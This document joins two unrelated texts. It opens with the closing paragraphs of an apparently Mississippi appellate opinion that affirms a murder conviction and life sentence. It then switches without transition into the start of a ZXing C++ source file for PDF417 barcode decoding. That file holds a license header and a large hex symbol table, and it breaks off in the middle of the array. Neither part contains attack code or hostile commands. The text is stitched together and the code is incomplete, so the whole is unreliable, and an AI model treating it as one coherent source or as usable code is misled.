State produced enough evidence for a jury to find a “deliberate design” beyond a reasonable
doubt.
¶30. As to the remaining elements, the prosecution put forth corroborating testimony of
three witnesses that Brown had confessed to killing Edward Lee Nichols. Additionally, the
State presented a witness who identified Brown running from the direction of the crime scene
toward Rebelwood Apartments and who later received correspondence from Brown
regarding the crime. Moreover, the State introduced the spontaneous statement of Brown to
Detectives Clinton and Smith regarding whether they could do anything for him if he killed
the victim. A competent jury could have determined that, on the basis of all the evidence,
James Bradley Brown was the person responsible for Nichols’s death. Therefore, this issue
is without merit.
13
CONCLUSION
¶31. For the reasons stated herein, we find that the State proved all the elements of
deliberate-design murder by legally sufficient evidence. Moreover, we find that the trial
court did not abuse its discretion in the admission and exclusion of evidence in this case.
Therefore, finding no reversible error, we affirm James Bradley Brown’s murder conviction
and sentence.
¶32. CONVICTION OF MURDER AND SENTENCE OF LIFE IMPRISONMENT
IN THE CUSTODY OF THE MISSISSIPPI DEPARTMENT OF CORRECTIONS,
AFFIRMED.
SMITH, C.J., WALLER, P.J., EASLEY, CARLSON, GRAVES, RANDOLPH
AND LAMAR, JJ., CONCUR. DIAZ, P.J., CONCURS IN RESULT ONLY.
14
|
/*
* Copyright 2016 Nu-book Inc.
* Copyright 2016 ZXing authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "pdf417/PDFCodewordDecoder.h"
#include <vector>
#include <numeric>
#include <limits>
namespace ZXing {
namespace Pdf417 {
static const int SYMBOL_COUNT = 2787;
/**
* The sorted table of all possible symbols. Extracted from the PDF417
* specification. The index of a symbol in this table corresponds to the
* index into the codeword table.
*/
const std::array<int, 2787> SYMBOL_TABLE = {
0x1025e, 0x1027a, 0x1029e, 0x102bc, 0x102f2, 0x102f4, 0x1032e, 0x1034e, 0x1035c, 0x10396, 0x103a6, 0x103ac,
0x10422, 0x10428, 0x10436, 0x10442, 0x10444, 0x10448, 0x10450, 0x1045e, 0x10466, 0x1046c, 0x1047a, 0x10482,
0x1049e, 0x104a0, 0x104bc, 0x104c6, 0x104d8, 0x104ee, 0x104f2, 0x104f4, 0x10504, 0x10508, 0x10510, 0x1051e,
0x10520, 0x1053c, 0x10540, 0x10578, 0x10586, 0x1058c, 0x10598, 0x105b0, 0x105be, 0x105ce, 0x105dc, 0x105e2,
0x105e4, 0x105e8, 0x105f6, 0x1062e, 0x1064e, 0x1065c, 0x1068e, 0x1069c, 0x106b8, 0x106de, 0x106fa, 0x10716,
0x10726, 0x1072c, 0x10746, 0x1074c, 0x10758, 0x1076e, 0x10792, 0x10794, 0x107a2, 0x107a4, 0x107a8, 0x107b6,
0x10822, 0x10828, 0x10842, 0x10848, 0x10850, 0x1085e, 0x10866, 0x1086c, 0x1087a, 0x10882, 0x10884, 0x10890,
0x1089e, 0x108a0, 0x108bc, 0x108c6, 0x108cc, 0x108d8, 0x108ee, 0x108f2, 0x108f4, 0x10902, 0x10908, 0x1091e,
0x10920, 0x1093c, 0x10940, 0x10978, 0x10986, 0x10998, 0x109b0, 0x109be, 0x109ce, 0x109dc, 0x109e2, 0x109e4,
0x109e8, 0x109f6, 0x10a08, 0x10a10, 0x10a1e, 0x10a20, 0x10a3c, 0x10a40, 0x10a78, 0x10af0, 0x10b06, 0x10b0c,
0x10b18, 0x10b30, 0x10b3e, 0x10b60, 0x10b7c, 0x10b8e, 0x10b9c, 0x10bb8, 0x10bc2, 0x10bc4, 0x10bc8, 0x10bd0,
0x10bde, 0x10be6, 0x10bec, 0x10c2e, 0x10c4e, 0x10c5c, 0x10c62, 0x10c64, 0x10c68, 0x10c76, 0x10c8e, 0x10c9c,
0x10cb8, 0x10cc2, 0x10cc4, 0x10cc8, 0x10cd0, 0x10cde, 0x10ce6, 0x10cec, 0x10cfa, 0x10d0e, 0x10d1c, 0x10d38,
0x10d70, 0x10d7e, 0x10d82, 0x10d84, 0x10d88, 0x10d90, 0x10d9e, 0x10da0, 0x10dbc, 0x10dc6, 0x10dcc, 0x10dd8,
0x10dee, 0x10df2, 0x10df4, 0x10e16, 0x10e26, 0x10e2c, 0x10e46, 0x10e58, 0x10e6e, 0x10e86, 0x10e8c, 0x10e98,
0x10eb0, 0x10ebe, 0x10ece, 0x10edc, 0x10f0a, 0x10f12, 0x10f14, 0x10f22, 0x10f28, 0x10f36, 0x10f42, 0x10f44,
0x10f48, 0x10f50, 0x10f5e, 0x10f66, 0x10f6c, 0x10fb2, 0x10fb4, 0x11022, 0x11028, 0x11042, 0x11048, 0x11050,
0x1105e, 0x1107a, 0x11082, 0x11084, 0x11090, 0x1109e, 0x110a0, 0x110bc, 0x110c6, 0x110cc, 0x110d8, 0x110ee,
0x110f2, 0x110f4, 0x11102, 0x1111e, 0x11120, 0x1113c, 0x11140, 0x11178, 0x11186, 0x11198, 0x111b0, 0x111be,
0x111ce, 0x111dc, 0x111e2, 0x111e4, 0x111e8, 0x111f6, 0x11208, 0x1121e, 0x11220, 0x11278, 0x112f0, 0x1130c,
0x11330, 0x1133e, 0x11360, 0x1137c, 0x1138e, 0x1139c, 0x113b8, 0x113c2, 0x113c8, 0x113d0, 0x113de, 0x113e6,
0x113ec, 0x11408, 0x11410, 0x1141e, 0x11420, 0x1143c, 0x11440, 0x11478, 0x114f0, 0x115e0, 0x1160c, 0x11618,
0x11630, 0x1163e, 0x11660, 0x1167c, 0x116c0, 0x116f8, 0x1171c, 0x11738, 0x11770, 0x1177e, 0x11782, 0x11784,
0x11788, 0x11790, 0x1179e, 0x117a0, 0x117bc, 0x117c6, 0x117cc, 0x117d8, 0x117ee, 0x1182e, 0x11834, 0x1184e,
0x1185c, 0x11862, 0x11864, 0x11868, 0x11876, 0x1188e, 0x1189c, 0x118b8, 0x118c2, 0x118c8, 0x118d0, 0x118de,
0x118e6, 0x118ec, 0x118fa, 0x1190e, 0x1191c, 0x11938, 0x11970, 0x1197e, 0x11982, 0x11984, 0x11990, 0x1199e,
0x119a0, 0x119bc, 0x119c6, 0x119cc, 0x119d8, 0x119ee, 0x119f2, 0x119f4, 0x11a0e, 0x11a1c, 0x11a38, 0x11a70,
0x11a7e, 0x11ae0, 0x11afc, 0x11b08, 0x11b10, 0x11b1e, 0x11b20, 0x11b3c, 0x11b40, 0x11b78, 0x11b8c, 0x11b98,
0x11bb0, 0x11bbe, 0x11bce, 0x11bdc, 0x11be2, 0x11be4, 0x11be8, 0x11bf6, 0x11c16, 0x11c26, 0x11c2c, 0x11c46,
0x11c4c, 0x11c58, 0x11c6e, 0x11c86, 0x11c98, 0x11cb0, 0x11cbe, 0x11cce, 0x11cdc, 0x11ce2, 0x11ce4, 0x11ce8,
0x11cf6, 0x11d06, 0x11d0c, 0x11d18, 0x11d30, 0x11d3e, 0x11d60, 0x11d7c, 0x11d8e, 0x11d9c, 0x11db8, 0x11dc4,
0x11dc8, 0x11dd0, 0x11dde, 0x11de6, 0x11dec, 0x11dfa, 0x11e0a, 0x11e12, 0x11e14, 0x11e22, 0x11e24, 0x11e28,
0x11e36, 0x11e42, 0x11e44, 0x11e50, 0x11e5e, 0x11e66, 0x11e6c, 0x11e82, 0x11e84, 0x11e88, 0x11e90, 0x11e9e,
0x11ea0, 0x11ebc, 0x11ec6, 0x11ecc, 0x11ed8, 0x11eee, 0x11f1a, 0x11f2e, 0x11f32, 0x11f34, 0x11f4e, 0x11f5c,
0x11f62, 0x11f64, 0x11f68, 0x11f76, 0x12048, 0x1205e, 0x12082, 0x12084, 0x12090, 0x1209e, 0x120a0, 0x120bc,
0x120d8, 0x120f2, 0x120f4, 0x12108, 0x1211e, 0x12120, 0x1213c, 0x12140, 0x12178, 0x12186, 0x12198, 0x121b0,
0x121be, 0x121e2, 0x121e4, 0x121e8, 0x121f6, 0x12204, 0x12210, 0x1221e, 0x12220, 0x12278, 0x122f0, 0x12306,
0x1230c, 0x12330, 0x1233e, 0x12360, 0x1237c, 0x1238e, 0x1239c, 0x123b8, 0x123c2, 0x123c8, 0x123d0, 0x123e6,
0x123ec, 0x1241e, 0x12420, 0x1243c, 0x124f0, 0x125e0, 0x12618, 0x1263e, 0x12660, 0x1267c, 0x126c0, 0x126f8,
0x12738, 0x12770, 0x1277e, 0x12782, 0x12784, 0x12790, 0x1279e, 0x127a0, 0x127bc, 0x127c6, 0x127cc, 0x127d8,
0x127ee, 0x12820, 0x1283c, 0x12840, 0x12878, 0x128f0, 0x129e0, 0x12bc0, 0x12c18, 0x12c30, 0x12c3e, 0x12c60,
0x12c7c, 0x12cc0, 0x12cf8, 0x12df0, 0x12e1c, 0x12e38, 0x12e70, 0x12e7e, 0x12ee0, 0x12efc, 0x12f04, 0x12f08,
0x12f10, 0x12f20, 0x12f3c, 0x12f40, 0x12f78, 0x12f86, 0x12f8c, 0x12f98, 0x12fb0, 0x12fbe, 0x12fce, 0x12fdc,
0x1302e, 0x1304e, 0x1305c, 0x13062, 0x13068, 0x1308e, 0x1309c, 0x130b8, 0x130c2, 0x130c8, 0x130d0, 0x130de,
0x130ec, 0x130fa, 0x1310e, 0x13138, 0x13170, 0x1317e, 0x13182, 0x13184, 0x13190, 0x1319e, 0x131a0, 0x131bc,
0x131c6, 0x131cc, 0x131d8, 0x131f2, 0x131f4, 0x1320e, 0x1321c, 0x13270, 0x1327e, 0x132e0, 0x132fc, 0x13308,
0x1331e, 0x13320, 0x1333c, 0x13340, 0x13378, 0x13386, 0x13398, 0x133b0, 0x133be, 0x133ce, 0x133dc, 0x133e2,
0x133e4, 0x133e8, 0x133f6, 0x1340e, 0x1341c, 0x13438, 0x13470, 0x1347e, 0x134e0, 0x134fc, 0x135c0, 0x135f8,
0x13608, 0x13610, 0x1361e, 0x13620, 0x1363c, 0x13640, 0x13678, 0x136f0, 0x1370c, 0x13718, 0x13730, 0x1373e,
0x13760, 0x1377c, 0x1379c, 0x137b8, 0x137c2, 0x137c4, 0x137c8, 0x137d0, 0x137de, 0x137e6, 0x137ec, 0x13816,
0x13826, 0x1382c, 0x13846, 0x1384c, 0x13858, 0x1386e, 0x13874, 0x13886, 0x13898, 0x138b0, 0x138be, 0x138ce,
0x138dc, 0x138e2, 0x138e4, 0x138e8, 0x13906, 0x1390c, 0x13930, 0x1393e, 0x13960, 0x1397c, 0x1398e, 0x1399c,
0x139b8, 0x139c8, 0x139d0, 0x139de, 0x139e6, 0x139ec, 0x139fa, 0x13a06, 0x13a0c, 0x13a18, 0x13a30, 0x13a3e,
0x13a60, 0x13a7c, 0x13ac0, 0x13af8, 0x13b0e, 0x13b1c, 0x13b38, 0x13b70, 0x13b7e, 0x13b88, 0x13b90, 0x13b9e,
0x13ba0, 0x13bbc, 0x13bcc, 0x13bd8, 0x13bee, 0x13bf2, 0x13bf4, 0x13c12, 0x13c14, 0x13c22, 0x13c24, 0x13c28,
0x13c36, 0x13c42, 0x13c48, 0x13c50, 0x13c5e, 0x13c66, 0x13c6c, 0x13c82, 0x13c84, 0x13c90, 0x13c9e, 0x13ca0,
0x13cbc, 0x13cc6, 0x13ccc, 0x13cd8, 0x13cee, 0x13d02, 0x13d04, 0x13d08, 0x13d10, 0x13d1e, 0x13d20, 0x13d3c,
0x13d40, 0x13d78, 0x13d86, 0x13d8c, 0x13d98, 0x13db0, 0x13dbe, 0x13dce, 0x13ddc, 0x13de4, 0x13de8, 0x13df6,
0x13e1a, 0x13e2e, 0x13e32, 0x13e34, 0x13e4e, 0x13e5c, 0x13e62, 0x13e64, 0x13e68, 0x13e76, 0x13e8e, 0x13e9c,
0x13eb8, 0x13ec2, 0x13ec4, 0x13ec8, 0x13ed0, 0x13ede, 0x13ee6, 0x13eec, 0x13f26, 0x13f2c, 0x13f3a, 0x13f46,
0x13f4c, 0x13f58, 0x13f6e, 0x13f72, 0x13f74, 0x14082, 0x1409e, 0x140a0, 0x140bc, 0x14104, 0x14108, 0x14110,
0x1411e, 0x14120, 0x1413c, 0x14140, 0x14178, 0x1418c, 0x14198, 0x141b0, 0x141be, 0x141e2, 0x141e4, 0x141e8,
0x14208, 0x14210, 0x1421e, 0x14220, 0x1423c, 0x14240, 0x14278, 0x142f0, 0x14306, 0x1430c, 0x14318, 0x14330,
0x1433e, 0x14360, 0x1437c, 0x1438e, 0x143c2, 0x143c4, 0x143c8, 0x143d0, 0x143e6, 0x143ec, 0x14408, 0x14410,
0x1441e, 0x14420, 0x1443c, 0x14440, 0x14478, 0x144f0, 0x145e0, 0x1460c, 0x14618, 0x14630, 0x1463e, 0x14660,
0x1467c, 0x146c0, 0x146f8, 0x1471c, 0x14738, 0x14770, 0x1477e, 0x14782, 0x14784, 0x14788, 0x14790, 0x147a0,
0x147bc, 0x147c6, 0x147cc, 0x147d8, 0x147ee, 0x14810, 0x14820, 0x1483c, 0x14840, 0x14878, 0x148f0, 0x149e0,
0x14bc0, 0x14c30, 0x14c3e, 0x14c60, 0x14c7c, 0x14cc0, 0x14cf8, 0x14df0, 0x14e38, 0x14e70, 0x14e7e, 0x14ee0,
0x14efc, 0x14f04, 0x14f08, 0x14f10, 0x14f1e, 0x14f20, 0x14f3c, 0x14f40, 0x14f78, 0x14f86, 0x14f8c, 0x14f98,
0x14fb0, 0x14fce, 0x14fdc, 0x15020, 0x15040, 0x15078, 0x150f0, 0x151e0, 0x153c0, 0x15860, 0x1587c, 0x158c0,
0x158f8, 0x159f0, 0x15be0, 0x15c70, 0x15c7e, 0x15ce0, 0x15cfc, 0x15dc0, 0x15df8, 0x15e08, 0x15e10, 0x15e20,
0x15e40, 0x15e78, 0x15ef0, 0x15f0c, 0x15f18, 0x15f30, 0x15f60, 0x15f7c, 0x15f8e, 0x15f9c, 0x15fb8, 0x1604e,
0x1605c, 0x1608e, 0x1609c, 0x160b8, 0x160c2, 0x160c4, 0x160c8, 0x160de, 0x1610e, 0x1611c, 0x16138, 0x16170,
0x1617e, 0x16184, 0x16188, 0x16190, 0x1619e, 0x161a0, 0x161bc, 0x161c6, 0x161cc, 0x161d8, 0x161f2, 0x161f4,
0x1620e, 0x1621c, 0x16238, 0x16270, 0x1627e, 0x162e0, 0x162fc, 0x16304, 0x16308, 0x16310, 0x1631e, 0x16320,
0x1633c, 0x16340, 0x16378, 0x16386, 0x1638c, 0x16398, 0x163b0, 0x163be, 0x163ce, 0x163dc, 0x163e2, 0x163e4,
0x163e8, 0x163f6, 0x1640e, 0x1641c, 0x16438, 0x16470, 0x1647e, 0x164e0, 0x164fc, 0x165c0, 0x165f8, 0x16610,
0x1661e, 0x16620, 0x1663c, 0x16640, 0x16678, 0x166f0, 0x16718, 0x16730, 0x1673e, 0x16760, 0x1677c, 0x1678e,
0x1679c, 0x167b8, 0x167c2, 0x167c4, 0x167c8, 0x167d0, 0x167de, 0x167e6, 0x167ec, 0x1681c, 0x16838, 0x16870,
0x168e0, 0x168fc, 0x169c0, 0x169f8, 0x16bf0, 0x16c10, 0x16c1e, 0x16c20, 0x16c3c, 0x16c40, 0x16c78, 0x16cf0,
0x16de0, 0x16e18, 0x16e30, 0x16e3e, 0x16e60, 0x16e7c, 0x16ec0, 0x16ef8, 0x16f1c, 0x16f38, 0x16f70, 0x16f7e,
0x16f84, 0x16f88, 0x16f90, 0x16f9e, 0x16fa0, 0x16fbc, 0x16fc6, 0x16fcc, 0x16fd8, 0x17026, 0x1702c, 0x17046,
0x1704c, 0x17058, 0x1706e, 0x17086, 0x1708c, 0x17098, 0x170b0, 0x170be, 0x170ce, 0x170dc, 0x170e8, 0x17106,
0x1710c, 0x17118, 0x17130, 0x1713e, 0x17160, 0x1717c, 0x1718e, 0x1719c, 0x171b8, 0x171c2, 0x171c4, 0x171c8,
0x171d0, 0x171de, 0x171e6, 0x171ec, 0x171fa, 0x17206, 0x1720c, 0x17218, 0x17230, 0x1723e, 0x17260, 0x1727c,
0x172c0, 0x172f8, 0x1730e, 0x1731c, 0x17338, 0x17370, 0x1737e, 0x17388, 0x17390, 0x1739e, 0x173a0, 0x173bc,
0x173cc, 0x173d8, 0x173ee, 0x173f2, 0x173f4, 0x1740c, 0x17418, 0x17430, 0x1743e, 0x17460, 0x1747c, 0x174c0,
0x174f8, 0x175f0, 0x1760e, 0x1761c, 0x17638, 0x17670, 0x1767e, 0x176e0, 0x176fc, 0x17708, 0x17710, 0x1771e,
0x17720, 0x1773c, 0x17740, 0x17778, 0x17798, 0x177b0, 0x177be, 0x177dc, 0x177e2, 0x177e4, 0x177e8, 0x17822,
0x17824, 0x17828, 0x17836, 0x17842, 0x17844, 0x17848, 0x17850, 0x1785e, 0x17866, 0x1786c, 0x17882, 0x17884,
0x17888, 0x17890, 0x1789e, 0x178a0, 0x178bc, 0x178c6, 0x178cc, 0x178d8, 0x178ee, 0x178f2, 0x178f4, 0x17902,
0x17904, 0x17908, 0x17910, 0x1791e, 0x17920, 0x1793c, 0x17940, 0x17978, 0x17986, 0x1798c, 0x17998, 0x179b0,
0x179be, 0x179ce, 0x179dc, 0x179e2, 0x179e4, 0x179e8, 0x179f6, 0x17a04, 0x17a08, 0x17a10, 0x17a1e, 0x17a20,
0x17a3c, 0x17a40, 0x17a78, 0x17af0, 0x17b06, 0x17b0c, 0x17b18, 0x17b30, 0x17b3e, 0x17b60, 0x17b7c, 0x17b8e,
0x17b9c, 0x17bb8, 0x17bc4, 0x17bc8, 0x17bd0, 0x17bde, 0x17be6, 0x17bec, 0x17c2e, 0x17c32, 0x17c34, 0x17c4e,
0x17c5c, 0x17c62, 0x17c64, 0x17c68, 0x17c76, 0x17c8e, 0x17c9c, 0x17cb8, 0x17cc2, 0x17cc4, 0x17cc8, 0x17cd0,
0x17cde, 0x17ce6, 0x17cec, 0x17d0e, 0x17d1c, 0x17d38, 0x17d70, 0x17d82, 0x17d84, 0x17d88, 0x17d90, 0x17d9e,
0x17da0, 0x17dbc, 0x17dc6, 0x17dcc, 0x17dd8, 0x17dee, 0x17e26, 0x17e2c, 0x17e3a, 0x17e46, 0x17e4c, 0x17e58,
0x17e6e, 0x17e72, 0x17e74, 0x17e86, 0x17e8c, 0x17e98, 0x17eb0, 0x17ece, 0x17edc, 0x17ee2, 0x17ee4, 0x17ee8,
0x17ef6, 0x1813a, 0x18172, 0x18174, 0x18216, 0x18226, 0x1823a, 0x1824c, 0x18258, 0x1826e, 0x18272, 0x18274,
0x18298, 0x182be, 0x182e2, 0x182e4, 0x182e8, 0x182f6, 0x1835e, 0x1837a, 0x183ae, 0x183d6, 0x18416, 0x18426,
0x1842c, 0x1843a, 0x18446, 0x18458, 0x1846e, 0x18472, 0x18474, 0x18486, 0x184b0, 0x184be, 0x184ce, 0x184dc,
0x184e2, 0x184e4, 0x184e8, 0x184f6, 0x18506, 0x1850c, 0x18518, 0x18530, 0x1853e, 0x18560, 0x1857c, 0x1858e,
0x1859c, 0x185b8, 0x185c2, 0x185c4, 0x185c8, 0x185d0, 0x185de, 0x185e6, 0x185ec, 0x185fa, 0x18612, 0x18614,
0x18622, 0x18628, 0x18636, 0x18642, 0x18650, 0x1865e, 0x1867a, 0x18682, 0x18684, 0x18688, 0x18690, 0x1869e,
0x186a0, 0x186bc, 0x186c6, 0x186cc, 0x186d8, 0x186ee, 0x186f2, 0x186f4, 0x1872e, 0x1874e, 0x1875c, 0x18796,
0x187a6, 0x187ac, 0x187d2, 0x187d4, 0x18826, 0x1882c, 0x1883a, 0x18846, 0x1884c, 0x18858, 0x1886e, 0x18872,
0x18874, 0x18886, 0x18898, 0x188b0, 0x188be, 0x188ce, 0x188dc, 0x188e2, 0x188e4, 0x188e8, 0x188f6, 0x1890c,
0x18930, 0x1893e, 0x18960, 0x1897c, 0x1898e, 0x189b8, 0x189c2, 0x189c8, 0x189d0, 0x189de, 0x189e6, 0x189ec,
0x189fa, 0x18a18, 0x18a30, 0x18a3e, 0x18a60, 0x18a7c, 0x18ac0, 0x18af8, 0x18b1c, 0x18b38, 0x18b70, 0x18b7e,
0x18b82, 0x18b84, 0x18b88, 0x18b90, 0x18b9e, 0x18ba0, 0x18bbc, 0x18bc6, 0x18bcc, 0x18bd8, 0x18bee, 0x18bf2,
0x18bf4, 0x18c22, 0x18c24, 0x18c28, 0x18c36, 0x18c42, 0x18c48, 0x18c50, 0x18c5e, 0x18c66, 0x18c7a, 0x18c82,
0x18c84, 0x18c90, 0x18c9e, 0x18ca0, 0x18cbc, 0x18ccc, 0x18cf2, 0x18cf4, 0x18d04, 0x18d08, 0x18d10, 0x18d1e,
0x18d20, 0x18d3c, 0x18d40, 0x18d78, 0x18d86, 0x18d98, 0x18dce, 0x18de2, 0x18de4, 0x18de8, 0x18e2e, 0x18e32,
0x18e34, 0x18e4e, 0x18e5c, 0x18e62, 0x18e64, 0x18e68, 0x18e8e, 0x18e9c, 0x18eb8, 0x18ec2, 0x18ec4, 0x18ec8,
0x18ed0, 0x18efa, 0x18f16, 0x18f26, 0x18f2c, 0x18f46, 0x18f4c, 0x18f58, 0x18f6e, 0x18f8a, 0x18f92, 0x18f94,
0x18fa2, 0x18fa4, 0x18fa8, 0x18fb6, 0x1902c, 0x1903a, 0x19046, 0x1904c, 0x19058, 0x19072, 0x19074, 0x19086,
0x19098, 0x190b0, 0x190be, 0x190ce, 0x190dc, 0x190e2, 0x190e8, 0x190f6, 0x19106, 0x1910c, 0x19130, 0x1913e,
0x19160, 0x1917c, 0x1918e, 0x1919c, 0x191b8, 0x191c2, 0x191c8, 0x191d0, 0x191de, 0x191e6, 0x191ec, 0x191fa,
0x19218, 0x1923e, 0x19260, 0x1927c, 0x192c0, 0x192f8, 0x19338, 0x19370, 0x1937e, 0x19382, 0x19384, 0x19390,
0x1939e, 0x193a0, 0x193bc, 0x193c6, 0x193cc, 0x193d8, 0x193ee, 0x193f2, 0x193f4, 0x19430, 0x1943e, 0x19460,
0x1947c, 0x194c0, 0x194f8, 0x195f0, 0x19638, 0x19670, 0x1967e, 0x196e0, 0x196fc, 0x19702, 0x19704, 0x19708,
0x19710, 0x19720, 0x1973c, 0x19740, 0x19778, 0x19786, 0x1978c, 0x19798, 0x197b0, 0x197be, 0x197ce, 0x197dc,
0x197e2, 0x197e4, 0x197e8, 0x19822, 0x19824, 0x19842, 0x19848, 0x19850, 0x1985e, 0x19866, 0x1987a, 0x19882,
0x19884, 0x19890, 0x1989e, 0x198a0, 0x198bc, 0x198cc, 0x198f2, 0x198f4, 0x19902, 0x19908, 0x1991e, 0x19920,
0x1993c, 0x19940, 0x19978, 0x19986, 0x19998, 0x199ce, 0x199e2, 0x199e4, 0x199e8, 0x19a08, 0x19a10, 0x19a1e,
0x19a20, 0x19a3c, 0x19a40, 0x19a78, 0x19af0, 0x19b18, 0x19b3e, 0x19b60, 0x19b9c, 0x19bc2, 0x19bc4, 0x19bc8,
0x19bd0, 0x19be6, 0x19c2e, 0x19c34, 0x19c4e, 0x19c5c, 0x19c62, 0x19c64, 0x19c68, 0x19c8e, 0x19c9c, 0x19cb8,
0x19cc2, 0x19cc8, 0x19cd0, 0x19ce6, 0x19cfa, 0x19d0e, 0x19d1c, 0x19d38, 0x19d70, 0x19d7e, 0x19d82, 0x19d84,
0x19d88, 0x19d90, 0x19da0, 0x19dcc, 0x19df2, 0x19df4, 0x19e16, 0x19e26, 0x19e2c, 0x19e46, 0x19e4c, 0x19e58,
0x19e74, 0x19e86, 0x19e8c, 0x19e98, 0x19eb0, 0x19ebe, 0x19ece, 0x19ee2, 0x19ee4, 0x19ee8, 0x19f0a, 0x19f12,
0x19f14, 0x19f22, 0x19f24, 0x19f28, 0x19f42, 0x19f44, 0x19f48, 0x19f50, 0x19f5e, 0x19f6c, 0x19f9a, 0x19fae,
0x19fb2, 0x19fb4, 0x1a046, 0x1a04c, 0x1a072, 0x1a074, 0x1a086, 0x1a08c, 0x1a098, 0x1a0b0, 0x1a0be, 0x1a0e2,
0x1a0e4, 0x1a0e8, 0x1a0f6, 0x1a106, 0x1a10c, 0x1a118, 0x1a130, 0x1a13e, 0x1a160, 0x1a17c, 0x1a18e, 0x1a19c,
0x1a1b8, 0x1a1c2, 0x1a1c4, 0x1a1c8, 0x1a1d0, 0x1a1de, 0x1a1e6, 0x1a1ec, 0x1a218, 0x1a230, 0x1a23e, 0x1a260,
0x1a27c, 0x1a2c0, 0x1a2f8, 0x1a31c, 0x1a338, 0x1a370, 0x1a37e, 0x1a382, 0x1a384, 0x1a388, 0x1a390, 0x1a39e,
0x1a3a0, 0x1a3bc, 0x1a3c6, 0x1a3cc, 0x1a3d8, 0x1a3ee, 0x1a3f2, 0x1a3f4, 0x1a418, 0x1a430, 0x1a43e, 0x1a460,
0x1a47c, 0x1a4c0, 0x1a4f8, 0x1a5f0, 0x1a61c, 0x1a638, 0x1a670, 0x1a67e, 0x1a6e0, 0x1a6fc, 0x1a702, 0x1a704,
0x1a708, 0x1a710, 0x1a71e, 0x1a720, 0x1a73c, 0x1a740, 0x1a778, 0x1a786, 0x1a78c, 0x1a798, 0x1a7b0, 0x1a7be,
0x1a7ce, 0x1a7dc, 0x1a7e2, 0x1a7e4, 0x1a7e8, 0x1a830, 0x1a860, 0x1a87c, 0x1a8c0, 0x1a8f8, 0x1a9f0, 0x1abe0,
0x1ac70, 0x1ac7e, 0x1ace0, 0x1acfc, 0x1adc0, 0x1adf8, 0x1ae04, 0x1ae08, 0x1ae10, 0x1ae20, 0x1ae3c, 0x1ae40,
0x1ae78, 0x1aef0, 0x1af06, 0x1af0c, 0x1af18, 0x1af30, 0x1af3e, 0x1af60, 0x1af7c, 0x1af8e, 0x1af9c, 0x1afb8,
0x1afc4, 0x1afc8, 0x1afd0, 0x1afde, 0x1b042, 0x1b05e, 0x1b07a, 0x1b082, 0x1b084, 0x1b088, 0x1b090, 0x1b09e,
0x1b0a0, 0x1b0bc, 0x1b0cc, 0x1b0f2, 0x1b0f4, 0x1b102, 0x1b104, 0x1b108, 0x1b110, 0x1b11e, 0x1b120, 0x1b13c,
0x1b140, 0x1b178, 0x1b186, 0x1b198, 0x1b1ce, 0x1b1e2, 0x1b1e4, 0x1b1e8, 0x1b204, 0x1b208, 0x1b210, 0x1b21e,
0x1b220, 0x1b23c, 0x1b240, 0x1b278, 0x1b2f0, 0x1b30c, 0x1b33e, 0x1b360, 0x1b39c, 0x1b3c2, 0x1b3c4, 0x1b3c8,
0x1b3d0, 0x1b3e6, 0x1b410, 0x1b41e, 0x1b420, 0x1b43c, 0x1b440, 0x1b478, 0x1b4f0, 0x1b5e0, 0x1b618, 0x1b660,
0x1b67c, 0x1b6c0, 0x1b738, 0x1b782, 0x1b784, 0x1b788, 0x1b790, 0x1b79e, 0x1b7a0, 0x1b7cc, 0x1b82e, 0x1b84e,
0x1b85c, 0x1b88e, 0x1b89c, 0x1b8b8, 0x1b8c2, 0x1b8c4, 0x1b8c8, 0x1b8d0, 0x1b8e6, 0x1b8fa, 0x1b90e, 0x1b91c,
0x1b938, 0x1b970, 0x1b97e, 0x1b982, 0x1b984, 0x1b988, 0x1b990, 0x1b99e, 0x1b9a0, 0x1b9cc, 0x1b9f2, 0x1b9f4,
0x1ba0e, 0x1ba1c, 0x1ba38, 0x1ba70, 0x1ba7e, 0x1bae0, 0x1bafc, 0x1bb08, 0x1bb10, 0x1bb20, 0x1bb3c, 0x1bb40,
0x1bb98, 0x1bbce, 0x1bbe2, 0x1bbe4, 0x1bbe8, 0x1bc16, 0x1bc26, 0x1bc2c, 0x1bc46, 0x1bc4c, 0x1bc58, 0x1bc72,
0x1bc74, 0x1bc86, 0x1bc8c, 0x1bc98, 0x1bcb0, 0x1bcbe, 0x1bcce, 0x1bce2, 0x1bce4, 0x1bce8, 0x1bd06, 0x1bd0c,
0x1bd18, 0x1bd30, 0x1bd3e, 0x1bd60, 0x1bd7c, 0x1bd9c, 0x1bdc2, 0x1bdc4, 0x1bdc8, 0x1bdd0, 0x1bde6, 0x1bdfa,
0x1be12, 0x1be14, 0x1be22, 0x1be24, 0x1be28, 0x1be42, 0x1be44, 0x1be48, 0x1be50, 0x1be5e, 0x1be66, 0x1be82,
0x1be84, 0x1be88, 0x1be90, 0x1be9e, 0x1bea0, 0x1bebc, 0x1becc, 0x1bef4, 0x1bf1a, 0x1bf2e, 0x1bf32, 0x1bf34,
0x1bf4e, 0x1bf5c, 0x1bf62, 0x1bf64, 0x1bf68, 0x1c09a, 0x1c0b2, 0x1c0b4, 0x1c11a, 0x1c132, 0x1c134, 0x1c162,
0x1c164, 0x1c168, 0x1c176, 0x1c1ba, 0x1c21a, 0x1c232, 0x1c234, 0x1c24e, 0x1c25c, 0x1c262, 0x1c264, 0x1c268,
0x1c276, 0x1c28e, 0x1c2c2, 0x1c2c4, 0x1c2c8, 0x1c2d0, 0x1c2de, 0x1c2e6, 0x1c2ec, 0x1c2fa, 0x1c316, 0x1c326,
0x1c33a, 0x1c346, 0x1c34c, 0x1c372, 0x1c374, 0x1c41a, 0x1c42e, 0x1c432, 0x1c434, 0x1c44e, 0x1c45c, 0x1c462,
0x1c464, 0x1c468, 0x1c476, 0x1c48e, 0x1c49c, 0x1c4b8, 0x1c4c2, 0x1c4c8, 0x1c4d0, 0x1c4de, 0x1c4e6, 0x1c4ec,
0x1c4fa, 0x1c51c, 0x1c538, 0x1c570, 0x1c57e, 0x1c582, 0x1c584, 0x1c588, 0x1c590, 0x1c59e, 0x1c5a0, 0x1c5bc,
0x1c5c6, 0x1c5cc, 0x1c5d8, 0x1c5ee, 0x1c5f2, 0x1c5f4, 0x1c616, 0x1c626, 0x1c62c, 0x1c63a, 0x1c646, 0x1c64c,
